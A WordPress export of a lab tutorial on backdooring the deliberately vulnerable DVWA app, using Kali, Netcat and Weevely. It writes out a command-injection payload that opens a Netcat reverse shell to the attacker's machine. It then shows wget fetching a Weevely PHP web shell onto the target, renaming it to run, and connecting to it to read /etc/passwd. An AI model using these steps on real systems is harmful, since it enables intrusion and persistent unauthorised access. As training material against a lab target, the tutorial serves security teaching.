{"id":696,"date":"2018-10-18T12:07:23","date_gmt":"2018-10-18T12:07:23","guid":{"rendered":"https:\/\/www.appservgrid.com\/paw92\/?p=696"},"modified":"2018-10-18T15:55:54","modified_gmt":"2018-10-18T15:55:54","slug":"create-a-back-door-on-dvwa-with-kali-netcat-and-weevely-lsb-ls-blog","status":"publish","type":"post","link":"https:\/\/www.appservgrid.com\/paw92\/index.php\/2018\/10\/18\/create-a-back-door-on-dvwa-with-kali-netcat-and-weevely-lsb-ls-blog\/","title":{"rendered":"Create a Back Door on DVWA with Kali, Netcat and Weevely \u2013 LSB \u2013 ls \/blog"},"content":{"rendered":"<p>Welcome back my budding hackers. We hope you enjoy this security tutorial by our ethical hacker QuBits. Our network is below.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/network.png?w=900\" alt=\"network\" \/><\/p>\n<p>We will be creating a backdoor in DVWA Command Execution module, which is a web app on Metasploitable.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee1.png?w=900\" alt=\"wee1\" \/><\/p>\n<p>To start with, change the security settings from high to low on DVWA Security Tab above.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee2.png?w=900\" alt=\"wee2\" \/><\/p>\n<p>Next we will need to move to the Command Execution module. The page just does a ping scan. so let\u2019s try it.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee3.png?w=900\" alt=\"wee3\" \/><\/p>\n<p>We will enter an IP address and click on submit.<\/p>\n<p><a href=\"https:\/\/shareasale.com\/r.cfm?b=1193747&amp;u=1803184&amp;m=59485&amp;urllink=&amp;afftrack=\" target=\"_blank\" rel=\"noopener\">REGISTER TODAY FOR YOUR KUBERNETES FOR DEVELOPERS (LFD259) COURSE AND CKAD CERTIFICATION TODAY! $499!<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee4.png?w=900\" alt=\"wee4\" \/><\/p>\n<p>Let see if it will also run other commands other than ping. We will try to run a Netcat command in the text box so on the Kali machine command line type:<\/p>\n<p>nc -vv -l -p 8888 (8888 is the port we want to listen on)<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee5.png?w=900\" alt=\"wee5\" \/><\/p>\n<p>Next, in DVWA, type any IP then ; then nc -e \/bin\/sh 192.168.56.103 8888 and connect with Kali machine from website as seen below.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee6.png?w=900\" alt=\"wee6\" \/><\/p>\n<p>Connection established, we have full control of the web app.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee7.png?w=900\" alt=\"wee7\" \/><\/p>\n<p><a href=\"https:\/\/shareasale.com\/r.cfm?b=1193744&amp;u=1803184&amp;m=59485&amp;urllink=&amp;afftrack=\" target=\"_blank\" rel=\"noopener\">$299 WILL ENROLL YOU IN OUR SELF PACED COURSE \u2013 LFS205 \u2013 ADMINISTERING LINUX ON AZURE!<\/a><\/p>\n<p>Now we have full command line controls on the website we can run any commands we wish. We want to create a persistent back door now and upload it to the website.<\/p>\n<p>First we need to generate a backdoor with Weevely, back on the Kali machine, in a new console window type:<\/p>\n<p>weevely generate 123456 \/root\/shell.txt. 123456 will be our password which we will use later.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee8.png?w=900\" alt=\"wee8\" \/><\/p>\n<p>Copy it to:<\/p>\n<p>cp \/root\/shell.txt \/var\/www\/html so we can see it in our browser.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee9.png?w=900\" alt=\"wee9\" \/><\/p>\n<p>Make sure it\u2019s copied. shell.txt is in \/var\/www\/html. We can see shell.txt on the right hand side.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee10.png?w=900\" alt=\"wee10\" \/><\/p>\n<p>Next we start the server on the Kali machine. Start the server:<\/p>\n<p>service apache2 start<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee11.png?w=900\" alt=\"wee11\" \/><\/p>\n<p>On Kali browser go to 192.168.56.103\/shell.txt or localhost\/shell.txt to confirm file is there.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee12.png?w=900\" alt=\"wee12\" \/><\/p>\n<p>We still have a netcat connection on the server so we can wget our shell.txt file:<\/p>\n<p>wget <a href=\"http:\/\/192.168.56.103\/shell.txt\">http:\/\/192.168.56.103\/shell.txt<\/a> and the shell.txt should show uploaded<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee13.png?w=900\" alt=\"wee13\" \/><\/p>\n<p>The file has been uploaded, next we need to change it to php extension for it to run.<\/p>\n<p>Mv shell.txt shell.php<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee18.png?w=900\" alt=\"wee18\" \/><\/p>\n<p>Connect to the upload in Kali:<\/p>\n<p>weevely <a href=\"http:\/\/192.168.56.101\/shell.php%20dvwa%20vulnerabilities%20shell.php123456\">http:\/\/192.168.56.101\/dvwa\/vulnerabilities\/shell.php 123456<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee20.png?w=900\" alt=\"wee20\" \/><\/p>\n<p>We are connected with a backdoor in DVWA. NOW we have the backdoor in DVWA we can run some helpful commands, for instance.<\/p>\n<p>:help this will give you a list of commands you can run on your back door. Interesting ones are:<\/p>\n<p>:system_info<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee21.png?w=900\" alt=\"wee21\" \/><\/p>\n<p>cat \/etc\/passwd<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/linuxsecurityblog.files.wordpress.com\/2018\/09\/wee22.png?w=900\" alt=\"wee22\" \/><\/p>\n<p>Another interesting command we can use is :audit_etcpasswd -vector &lt;option&gt;<\/p>\n<p>To upload a file to the target system:<\/p>\n<p>:file_download rpath is remote path and lpath for local.<\/p>\n<p>So have a play around with Weevely when you pop your next server.<\/p>\n<p>Thanks for reading and don\u2019t forget to comment, like and of course, follow our blog for future tutorials.<\/p>\n<p>QuBits 2018-09-13<\/p>\n<p><a href=\"https:\/\/shareasale.com\/r.cfm?b=1193742&amp;u=1803184&amp;m=59485&amp;urllink=&amp;afftrack=\" target=\"_blank\" rel=\"noopener\">BUNDLE CLOUD FOUNDRY FOR DEVELOPERS COURSE(LFD232) AND THE CFCD CERTIFICATION FOR $499!<\/a><\/p>\n<p><a href=\"https:\/\/linuxsecurityblog.com\/2018\/09\/13\/create-a-back-door-on-dvwa-with-kali-netcat-and-weevely-lsb\/\" target=\"_blank\" rel=\"noopener\">Source<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Welcome back my budding hackers. We hope you enjoy this security tutorial by our ethical hacker QuBits. Our network is below. We will be creating a backdoor in DVWA Command Execution module, which is a web app on Metasploitable. To start with, change the security settings from high to low on DVWA Security Tab above. &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/www.appservgrid.com\/paw92\/index.php\/2018\/10\/18\/create-a-back-door-on-dvwa-with-kali-netcat-and-weevely-lsb-ls-blog\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Create a Back Door on DVWA with Kali, Netcat and Weevely \u2013 LSB \u2013 ls \/blog&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-696","post","type-post","status-publish","format-standard","hentry","category-linux"],"_links":{"self":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/696","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/comments?post=696"}],"version-history":[{"count":1,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/696\/revisions"}],"predecessor-version":[{"id":826,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/696\/revisions\/826"}],"wp:attachment":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/media?parent=696"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/categories?post=696"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/tags?post=696"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}